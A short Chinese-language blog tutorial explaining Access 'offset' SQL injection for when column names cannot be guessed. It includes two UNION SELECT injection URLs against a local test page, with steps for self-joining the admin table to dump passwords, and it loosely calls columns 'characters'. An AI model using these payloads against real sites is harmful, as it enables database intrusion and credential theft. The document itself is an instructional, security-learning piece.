讲在前面,Access和mysql5.0之前的版本。进行注入的时候都是采用暴力猜解的方式进行的,而mysql5.0及以后的版本是通过查询information_schema表来得到数据(即是有根据的注入)
0x01:Access偏移注入是解决一个问题的?
-
注入中,表名无法猜解出来怎么办?
- 通过社工、对比网站的url地址等方法,多观察,发现规律。
-
注入中,列明无法猜解出来怎么办?
- Access偏移注入可以解决这个,另外还可以社工、后台源码中参数名(登录框form的name属性或者id属性)
0x02:偏移注入的方法
- 一共有22列;
- http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 页面返回正确
- 所以*代表6位字符;
- 出现a.id、b.id,*需要乘以2,即2 x (6) = 12位字符,如果出现c.id,需要乘以3;
- 22 – 12 = 10;
- 所以接下来的注入语句就是http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
- 上面的注入语句就有机会爆出密码,如果不行,则需要写c.id;
欢迎关注微信公众号(coder0x00)或扫描下方二维码关注,我们将持续搜寻程序员必备基础技能包提供给大家。
网友评论